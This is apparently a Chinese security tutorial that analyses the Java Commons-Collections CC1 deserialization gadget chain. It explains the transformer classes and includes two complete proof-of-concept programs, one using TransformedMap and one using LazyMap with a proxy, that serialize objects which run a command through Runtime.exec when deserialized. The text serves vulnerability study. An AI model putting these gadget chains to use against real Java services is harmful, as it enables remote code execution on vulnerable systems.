Java反序列化2-CommonsCollections1(CC1链)
1. Commons-Collections简介 https://github.com/Maskhe/javasec/blob/master/3.%20apache%20commons-collections%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md
commons-collections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。
反序列化目的: 接收任意对象执行任意方法,参数可控
2. CC1利用链
有两条利用链
AnnotationInvocationHandler.readObject->TransformedMap.checkSetValue->ChainedTransformer->InvokerTransformer.transform->Runtime.exec
AnnotationInvocationHandler.readObject->LazyMap.get->TransformedMap.checkSetValue->InvokerTransformer.transform->Runtime.exec
3. 利用条件
在JDK 8u71以前,在此改动后,AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
引用Common-Collections依赖
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
4. 相关接口和类 Transformer
是⼀个接⼝,它只有⼀个待实现的⽅法transform(Object input)
1 2 3 public interface Transformer { public Object transform (Object input) ; }
我们可以简单理解一下:Transformer这个对象是一个转换器 接口,只要有类实现了这个接口,就需要实现它的方法就是转换 。即:一个类如果实现了一个接口就必须实现接口的所有方法。
InvokerTransformer
是实现了Transformer 接⼝和Serializable 接口的⼀个类,这个类可以⽤来执⾏任意⽅法,InvokerTransformer.transform()
是CC1的关键点。
实例化这个InvokerTransformer,需要传⼊三个参数:
⽅法名
参数类型,
传给这个函数的参数列表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
InvokerTransformer实现Transformer接口的 **transform(Object input)**方法。反射来调用传进来的对象中的方法。而方法名 、参数类型 和参数列表 都是可以在构造函数初始化时传进来的,因此都是可控的。
1 2 3 new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(Runtime.getRuntime());
缺点 是:只能在本地调用 ,想要远程调用的话,构造函数中的几个参数和transform中的参数都得是用户可控。即,这个只能控制方法相关的参数、值
ConstantTransformer
是实现了Transformer
和Serializable
接口的⼀个类。
我们读这个类的名字就可以知道常量转换器 。
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
构造函数是传一个对象进去,初始化iConstant,而transform则将这个iConstant对象返回。因此可将Runtime传进去,当调用transform时返回一个Runtime对象回来,要是能将它与InvokerTransformer组合起来或许就能有意想不到的效果。而ChainedTransformer刚好有这种功能。
1 2 new ConstantTransformer (Runtime.class);
ChainedTransformer
也是实现了Transformer
和Serializable
接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
读名字就知道是一个链式转换器
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
构造函数这里传的是一个Transformer数组,而transform方法则是遍历这个数组,取出数组里的Transformer对象并调用其transform方法,返回的对象又作为下一个Transformer的transform方法中的参数被调用。
TransformedMap是实现了Serializable的类,构造函数接收Map,KeyTransformer,ValueTransformer。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
4.6 AnnotationInvocationHandler 这个类实现Serializable接口,不能直接调用这个类 ,需要通过反射的的方式加载。这个类的构造方法,接收Class和Map。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
readObject()
方法的关键是Map.Entry<String, Object> memberValue
: memberValues.entrySet() 和 memberValue.setValue(…) 。memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
4.7 LazyMap LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
1 2 3 4 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); }
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform ,而LazyMap是在其get()
方法中执行的 factory.transform() 。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
在get找不到值的时候,它会调用 factory.transform()
方法去获取一个值,AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; } } }
5. 编写POC
这两条链都执行目标都是Runtime.getRuntime().exec("calc")
5.1 构建调用链 5.1.1 正常反射构造序列化 我们看一下Runtime的源码,发现是没有实现Serializable接口,说明不可以被序列化:
我们要如何让其被序列化:
我们只需要让它变成Class对象即可。
1 Class<Runtime> clazz = Runtime.class;
要它执行全部操作,就需要通过反射。
1 2 3 4 5 Class<Runtime> clazz = Runtime.class; Method clazzMethod = clazz.getMethod("getRuntime" , null ); Runtime runtime = (Runtime) clazzMethod.invoke(null , null ); Method exec = clazz.getMethod("exec" , String.class); exec.invoke(runtime, "calc" );
1 2 3 4 5 6 Method method = (Method) new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }).transform(Runtime.class);Runtime runtime = (Runtime) new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }).transform(method);new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }).transform(runtime);
1 2 3 4 5 6 7 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform(Runtime.class);
1 2 3 4 5 6 7 8 9 ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }); chainedTransformer.transform(null );
5.1.5 思考 但是我们在反序列化过程中,是不会手工去调用Transformer.transform()
方法的,所以我们要找transform()
被哪些类调用了,直到找到带有readObject()
方法的类。注意:在第一步就需要将所有源码包导入
1 2 3 4 5 6 7 8 9 10 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
实现了Serializable接口
在方法中调用了transform()
重写了readObject()
方法
5.2.3 寻找在readObject()中调用setValue()的类 继续在找调用setValue()
的地方。最好是readObject()
直接调用。AnnotationInvocationHandler
的readObject()
刚好符合条件。
5.2.4 调用AnnotationInvocationHandler
因为AnnotationInvocationHandler
不能被实例化,所以只能通过反射实例化这个对象
1 2 3 4 5 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap);
5.2.5 完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"calc" }) }; Transformer transformerChain = new ChainedTransformer (transformers);Map map = new HashMap ();map.put("value" , "Roderick" ); Map tmap = TransformedMap.decorate(map, null , transformerChain);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap);ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("outCC1.bin" ));oos.writeObject(o); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("outCC1.bin" ));ois.readObject();
5.2.6 调试分析反序列化流程
从反序列化开始的readObject()
开始调试。
在Gadget链上的每个关键点都下一个断点,调试看反序列化流程:
首先断在了AnnotationInvocationHandler
类的readObjetc()
方法上,继续往下走会发现走的是AbstractInputCheckedMapDecorator
的setValue()
。
然后到了TransformedMap
类的checkSetValue()
方法。
最后到InvokerTransformer
的transform()
将Runtime.getRuntime().exec("calc")
调用。
5.2.7 正向分析流程
我们知道使用Transformer
的核心是通过transform()
调用
我们从InvokerTransformer
类中找到transform()
方法
寻找有哪些类调用了transform()
方法,目前只关注这条链应该的分析路径
发现这条链调用的checkSetValue()
方法调用了transform()
方法
再寻找哪些类的方法中调用了checkSetValue()
,发现AbstractInputCheckedMapDecorator
类中的setValue()
方法中有用到
发现TransformerMap
是AbstractInputCheckedMapDecorator
的子类,所以调用的也相当于是TransformerMap
的。
我们再寻找哪个类的方法中有调用setvalue()
方法
发现反序列化的标志:
然后发现实现了序列化接口Serializable
至此找到一条反序列化调用链,但是最终的AnnnotationInvocationHandler
是操作注解的一个类(注解动态代理处理器 ),我们可以从部分代码中可以直接解读到
1 AnnotationType annotationType = AnnotationType.getInstance(type);
所以我们在HashMap调用的时候要使用的Key 是注解的参数”value “。
5.3 第二条链LazyMap
这里我们假设不知道他的调用链关系,先用正向来推测一下LazyMap的调用链,已知由Lazymap调用链引发。
5.3.1 正向分析流程
正常的代码审计过程中,会采取两种策略,一种是继续向上回溯,找transformKey、transformValue、checkSetValue这几个方法被调用的位置,另一种策略就是全局搜索readObject()方法,看看有没有哪个类直接就调用了这三个方法中的一个或者readObject中有可疑的操作,最后能够间接触发这几个方法。审计中,一般都会把两种策略都试一遍。
第一步从InvokerTransform
类的transform()
开始,全局搜索调用方法名为transform()
的类方法
进入LazyMap
类的get()
方法查看,看到了transform()
的调用
然后我们直接搜索get()
方法在哪里调用,用于get()
方法实在使用宽泛,我们就需要对get()
审计时限制条件:
有一个参数可控(Object或者是泛型)的key
调用类要实现Serializable
接口
调用类要重写反序列化所需的readObject()
,并在其中调用get()
方法
结果有5000多条数据,我们根据要求审查符合该要求的类:
可以直接进入该类搜索文件内容:
最终搜索到AnnotationInvocationhandler
(看了几百条还没审查到该对象,直接来到这里看一下)
最终好像在这里调用get()
(其实不是),其实在AnnotationInvocationHandler
类的invoke
方法中调用了get
方法 :
5.3.2 尝试POC
发现不能new
这个对象,那我们去它源码读一下:
发现也是通过decorate()
方法new LazyMap()
的,开始写:
发现有两个类型参数:
一个是Factory , 一个是Transformer
我们用的是Transformer
,把ChainedTransformer
链传进去。
1 Map lazyMap = LazyMap.decorate(map, transformerChain);
然后构造AnnontationInvocationHandler
对象,也不能被new
,需要通过反射获取:
1 2 3 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); Object o = declaredConstructor.newInstance(Target.class, lazyMap);
这样写测试一下,发现有报错:
所以需要设置一下:
1 2 3 4 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Target.class, lazyMap);
但是运行完成后没有弹计算器,进入调试一下:
发现对memberValues()
的迭代操作完全没有做,所以后面hasNext()
就不执行了:
所以不在这个get()
中,经查阅资料,Map接口里 没有具体的entrySet()
实现,所以这里的entrySet()
具体实现由代理类来完成 .
1 2 3 InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
5.3.3 完整POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "Roderick" ); Map tmap = LazyMap.decorate(map, transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("outCC1.bin" )); oos.writeObject(handler); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("outCC1.bin" )); ois.readObject();
5.3.2 反向分析流程 正向过程中带有猜测,幸运的是有前人栽树,让我们了解可以通过动态代理来解决问题,但还有一些迷惑之处就通过调试代码,来拨开谜团。